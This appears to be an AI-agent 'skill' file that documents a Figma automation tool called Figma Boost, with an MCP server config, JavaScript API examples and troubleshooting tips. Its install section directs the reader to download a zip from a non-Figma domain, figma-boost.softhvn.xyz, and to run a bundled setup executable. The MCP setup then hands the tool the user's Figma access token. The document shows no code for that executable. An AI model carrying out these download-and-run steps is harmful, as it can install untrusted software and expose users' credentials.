Figma Boost MCP

Figma Boost MCP Skill

Skill by ara.so — Design Skills collection.

Overview

Figma Boost is a next-generation creative workspace that delivers AI-powered enhancements, masking, and compositing capabilities for Figma designs. It provides MCP (Model Context Protocol) integration to enable AI coding agents to interact with Figma programmatically, manage design assets, and automate creative workflows.

Installation

Method 1: Direct Download

1. Download from the official source:

   # Visit https://figma-boost.softhvn.xyz to download
   

2. Extract and install:

   unzip figma-boost-latest.zip -d ~/figma-boost
   cd ~/figma-boost
   

3. Run the setup:

   ./figma-boost-setup
   

Method 2: MCP Server Setup

Add to your MCP configuration file (~/.config/mcp/config.json or similar):

{
  "mcpServers": {
    "figma-boost": {
      "command": "node",
      "args": ["/path/to/figma-boost/mcp-server.js"],
      "env": {
        "FIGMA_ACCESS_TOKEN": "${FIGMA_ACCESS_TOKEN}",
        "FIGMA_TEAM_ID": "${FIGMA_TEAM_ID}"
      }
    }
  }
}

Configuration

Environment Variables

Set up required environment variables:

export FIGMA_ACCESS_TOKEN="your-figma-personal-access-token"
export FIGMA_TEAM_ID="your-team-id"
export FIGMA_FILE_KEY="optional-default-file-key"
export FIGMA_BOOST_CACHE_DIR="${HOME}/.figma-boost/cache"

Configuration File

Create figma-boost.config.json in your project root:

{
  "version": "1.0",
  "workspace": {
    "defaultFormat": "PNG",
    "exportQuality": "high",
    "cacheEnabled": true
  },
  "ai": {
    "enhancementLevel": "standard",
    "autoMask": true,
    "smartFilters": true
  },
  "export": {
    "formats": ["PNG", "SVG", "PDF"],
    "scales": [1, 2, 3],
    "compression": "auto"
  }
}

Core API Usage

Connecting to Figma

const FigmaBoost = require('figma-boost');

// Initialize with access token
const boost = new FigmaBoost({
  accessToken: process.env.FIGMA_ACCESS_TOKEN,
  teamId: process.env.FIGMA_TEAM_ID
});

// Connect to a specific file
const file = await boost.connectFile('FILE_KEY_HERE');
console.log(`Connected to: ${file.name}`);

Fetching Design Assets

// Get all frames from a page
const frames = await file.getPage('Page 1').getFrames();

// Iterate through frames
for (const frame of frames) {
  console.log(`Frame: ${frame.name}`);
  console.log(`Size: ${frame.width}x${frame.height}`);
}

// Get specific node by ID
const node = await file.getNode('NODE_ID');

Icon Management

// Search for icons
const icons = await boost.icons.search({
  query: 'arrow',
  category: 'navigation',
  style: 'outlined'
});

// Import icons to Figma file
for (const icon of icons) {
  await file.importIcon(icon, {
    position: { x: 100, y: 100 },
    size: 24
  });
}

// Export icons from Figma
await boost.icons.export({
  fileKey: 'FILE_KEY',
  nodeIds: ['NODE_1', 'NODE_2'],
  format: 'SVG',
  output: './icons/'
});

AI-Powered Enhancements

// Apply AI enhancement to a frame
const enhanced = await boost.enhance(frame, {
  mode: 'auto',
  adjustments: {
    contrast: 1.2,
    saturation: 1.1,
    sharpness: 0.8
  }
});

// Apply smart masking
const masked = await boost.applyMask(node, {
  type: 'auto-detect',
  feather: 2,
  refinement: 'edges'
});

// Smart filter application
await boost.applyFilter(frame, {
  filter: 'color-grade',
  preset: 'cinematic',
  strength: 0.7
});

Batch Operations

// Process multiple frames
const frames = await file.getAllFrames();

const results = await boost.batch.process(frames, async (frame) => {
  // Apply enhancement
  await boost.enhance(frame, { mode: 'standard' });
  
  // Export
  return await boost.export(frame, {
    format: 'PNG',
    scale: 2,
    output: `./exports/${frame.name}.png`
  });
});

console.log(`Processed ${results.length} frames`);

Export Operations

// Export single node
await boost.export(node, {
  format: 'PNG',
  scale: 2,
  background: 'transparent',
  output: './output.png'
});

// Export with multiple formats
await boost.exportMultiple(node, {
  formats: [
    { type: 'PNG', scale: 1 },
    { type: 'PNG', scale: 2 },
    { type: 'SVG' },
    { type: 'PDF' }
  ],
  output: './exports/'
});

// Export entire page
await boost.exportPage('Page 1', {
  format: 'PDF',
  layout: 'grid',
  output: './page-export.pdf'
});

MCP Server Commands

When running as an MCP server, the following tools are available:

List Files

// Via MCP
{
  "tool": "figma_list_files",
  "parameters": {
    "teamId": "TEAM_ID"
  }
}

Get File Contents

{
  "tool": "figma_get_file",
  "parameters": {
    "fileKey": "FILE_KEY",
    "depth": 2
  }
}

Export Nodes

{
  "tool": "figma_export_nodes",
  "parameters": {
    "fileKey": "FILE_KEY",
    "nodeIds": ["NODE_1", "NODE_2"],
    "format": "PNG",
    "scale": 2
  }
}

Apply AI Enhancements

{
  "tool": "figma_enhance",
  "parameters": {
    "fileKey": "FILE_KEY",
    "nodeId": "NODE_ID",
    "mode": "auto",
    "settings": {
      "contrast": 1.2,
      "saturation": 1.1
    }
  }
}

Common Patterns

Automated Design System Export

const exportDesignSystem = async (fileKey) => {
  const file = await boost.connectFile(fileKey);
  const components = await file.getComponents();
  
  for (const component of components) {
    // Export at multiple scales
    await boost.exportMultiple(component, {
      formats: [
        { type: 'PNG', scale: 1 },
        { type: 'PNG', scale: 2 },
        { type: 'SVG' }
      ],
      output: `./design-system/${component.name}/`
    });
    
    // Generate metadata
    await fs.writeFile(
      `./design-system/${component.name}/metadata.json`,
      JSON.stringify({
        name: component.name,
        size: { width: component.width, height: component.height },
        exported: new Date().toISOString()
      }, null, 2)
    );
  }
};

Batch Icon Processing

const processIcons = async (iconSet) => {
  const icons = await boost.icons.search({ query: iconSet });
  
  for (const icon of icons) {
    // Apply enhancement
    const enhanced = await boost.enhance(icon, {
      mode: 'icon-optimize',
      adjustments: { sharpness: 1.5 }
    });
    
    // Export optimized versions
    await boost.export(enhanced, {
      format: 'SVG',
      optimize: true,
      output: `./icons/${icon.name}.svg`
    });
  }
};

Design Review Automation

const reviewDesign = async (fileKey) => {
  const file = await boost.connectFile(fileKey);
  const frames = await file.getAllFrames();
  
  const report = {
    file: file.name,
    reviewed: new Date().toISOString(),
    frames: []
  };
  
  for (const frame of frames) {
    // Analyze frame
    const analysis = await boost.analyze(frame, {
      checkContrast: true,
      checkAccessibility: true,
      checkConsistency: true
    });
    
    report.frames.push({
      name: frame.name,
      issues: analysis.issues,
      score: analysis.score
    });
  }
  
  return report;
};

Troubleshooting

Authentication Issues

// Verify token
try {
  const user = await boost.getCurrentUser();
  console.log(`Authenticated as: ${user.email}`);
} catch (error) {
  console.error('Authentication failed:', error.message);
  console.log('Check FIGMA_ACCESS_TOKEN environment variable');
}

Rate Limiting

// Handle rate limits gracefully
const safeRequest = async (operation) => {
  try {
    return await operation();
  } catch (error) {
    if (error.code === 'RATE_LIMIT') {
      console.log('Rate limited, waiting...');
      await new Promise(resolve => setTimeout(resolve, 60000));
      return await operation();
    }
    throw error;
  }
};

Cache Management

# Clear cache
rm -rf ~/.figma-boost/cache/*

# Or via API

await boost.clearCache();

Export Failures

// Retry with fallback options
try {
  await boost.export(node, { format: 'PNG', scale: 3 });
} catch (error) {
  console.warn('High resolution export failed, trying scale 2');
  await boost.export(node, { format: 'PNG', scale: 2 });
}

Debug Mode

const boost = new FigmaBoost({
  accessToken: process.env.FIGMA_ACCESS_TOKEN,
  debug: true,
  logLevel: 'verbose'
});

// Logs will show detailed API calls and responses

Best Practices

1. Always use environment variables for sensitive data
2. Implement retry logic for network operations
3. Cache frequently accessed files to reduce API calls
4. Use batch operations when processing multiple nodes
5. Validate file keys before performing operations
6. Monitor rate limits and implement backoff strategies
7. Clean up exports regularly to manage disk space

Additional Resources

• Documentation: https://figma-boost.softhvn.xyz
• Figma API Reference: https://www.figma.com/developers/api
• MCP Protocol: https://modelcontextprotocol.io